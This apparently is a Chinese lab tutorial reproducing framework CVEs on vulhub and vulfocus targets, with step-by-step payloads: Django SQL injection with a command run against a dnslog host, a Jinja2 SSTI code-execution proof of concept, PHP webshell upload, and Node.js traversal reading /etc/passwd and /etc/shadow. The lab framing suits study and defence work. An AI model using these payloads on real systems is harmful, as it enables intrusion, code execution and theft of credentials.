目录
- 服务攻防-框架安全&CVE复现&Django&Flask&Node.JS&JQuery漏洞复现
服务攻防-框架安全&CVE复现&Django&Flask&Node.JS&JQuery漏洞复现
中间件列表介绍
常见语言开发框架
Python开发框架安全-Django&Flask漏洞复现
Django开发框架
介绍:django(Python Web 框架)详解
安全问题:
漏洞复现
CVE-2019-14234(Django JSONField/HStoreField SQL注入漏洞)
靶场:vulhub
参考:Django JSONField/HStoreField SQL注入漏洞复现
开启环境:
访问web界面:
首先,使用用户名和密码登录 Django-Admin。
http://your-ip:8000/admin/
账号:admin
密码:a123123123
成功登录:
然后转到模型的列表视图:
http://your-ip:8000/admin/vuln/collection/
Collection
添加到 GET 参数中,其中是 JSONField:
detail__a'b=123
detail
payload:
http://your-ip:8000/admin/vuln/collection/?detail__a%27b=123
可以看到单引号注入成功,SQL语句报错:
创建 cmd_exec:
payload:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%
20%3bcreate%20table%20cmd_exec(cmd_output%20text)--%20
执行效果:
成功创建
调用 cmd_exec 执行命令:
DNSlog获取地址
payload:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%
20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%20xxxx.dnslog.cn%27--%20
DNSlog回显效果:
CVE-2021-35042(Django QuerySet.order_by SQL注入漏洞)
该漏洞需要开发人员使用order_by功能。此外,还可以控制查询集的输入。
靶场:vulhub
参考:Django QuerySet.order_by SQL注入漏洞复现
开启环境:
访问web界面:
首先,转到列表视图并添加到 GET 参数。
payload:
http://your-ip:8000/vuln/order=-id
执行过后会看到按 id 降序排序的数据:
payload:
目录:
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20@@basedir)),1)%23
版本:
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20version())),1)%23
数据库名:
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20database())),1)%23
可以看到单括号已经注入成功,可以从错误中获取信息。
查看目录:
爆版本号:
爆数据库名:
Flask Jinja2 SSTI
介绍:Flask详解
安全问题:
漏洞复现
Flask(Jinja2) 服务端模板注入漏洞
靶场:vulhub
参考:Flask(Jinja2) 服务端模板注入漏洞复现
开启环境:
访问web界面:
接下来进行访问,http://your-ip/?name={{123*123}}
,得到15129这个结果,则说明SSTI漏洞存在。
获取eval函数并执行任意python代码的POC:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
ps:需要进行url编码,编码过后直接通过GET请求,发送即可。
执行命令处,自定义像要执行的命令,查看的信息,每次更换命令都需要进行URL编码重新发送。
其他命令:ls,whoami
执行效果:
JavaScript开发框架安全-Jquery&Node漏洞复现
jQuery框架
介绍:jQuery详解
安全问题:
漏洞复现
CVE_2018_9207-jQuery Upload File漏洞复现
靶场:vulfocus
开启靶场:
访问web界面:
访问框架引用目录结构:
/jquery-upload-file/
利用:
一条命令即可解决,访问并上传文件。
payload:
//访问网站,进行上传;前提是在文件夹下创建后门文件。
curl -F "myfile=@shell.php" "http://192.168.100.134:37180/jquery-upload-file/php/upload.php"
curl -F "myfile=@cmd.php" "http://192.168.100.134:37180/jquery-upload-file/php/upload.php"
上传shell.php:
上传cmd.php:
查看:
上传文件所在位置:(后门为php)
/jquery-upload-file/php/uploads/
验证,可否解析执行:
使用蚁剑连接:
连接成功
其他列出的安全问题,基本都差不多。
Node.js
详解:node.js详解
安全问题:
漏洞复现
Node.js 目录穿越漏洞(CVE-2017-14849)
Joyent Node.js是美国Joyent公司的一套建立在Google V8 JavaScript引擎之上的网络应用平台。该平台主要用于构建高度可伸缩的应用程序,以及编写能够处理数万条且同时连接到一个物理机的连接代码。 Joyent Node.js 8.6.0之前的8.5.0版本中存在安全漏洞。远程攻击者可利用该漏洞访问敏感文件。
靶场:vulfocus
参考:CVE-2017-14849复现
开启环境:
访问web界面:
其中引用到了文件/static/main.js
,说明其存在静态文件服务器。
构造请求:
通过GET请求发送以下数据包即可:
GET:
...
/static/../../../a/../../../../etc/passwd
...
完整数据包:
GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: 192.168.100.134:56111
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
发送给重发器,然后再发送数据包过后:
(如果打开web界面抓包时,构造请求后,发包无法正常回显,状态码报错。可尝试删除cookie等相关信息,不然可能会无法正常回显,错误状态码。如果正常回显,就可以不用删除。)
效果:成功读取/etc/passwd
文件
效果:成功读取/etc/shadow
文件
Node.js 命令执行 (CVE-2021-21315)
靶场:vulfocus
开启环境:
访问web界面:
构造GET请求:
payload:
/api/getServices?name[]=$(echo%20%27rumilc666%27%20>%20rumi.txt)
执行过后:
验证:
成功生成该文件
docker ps
docker exec -it id /bin/bash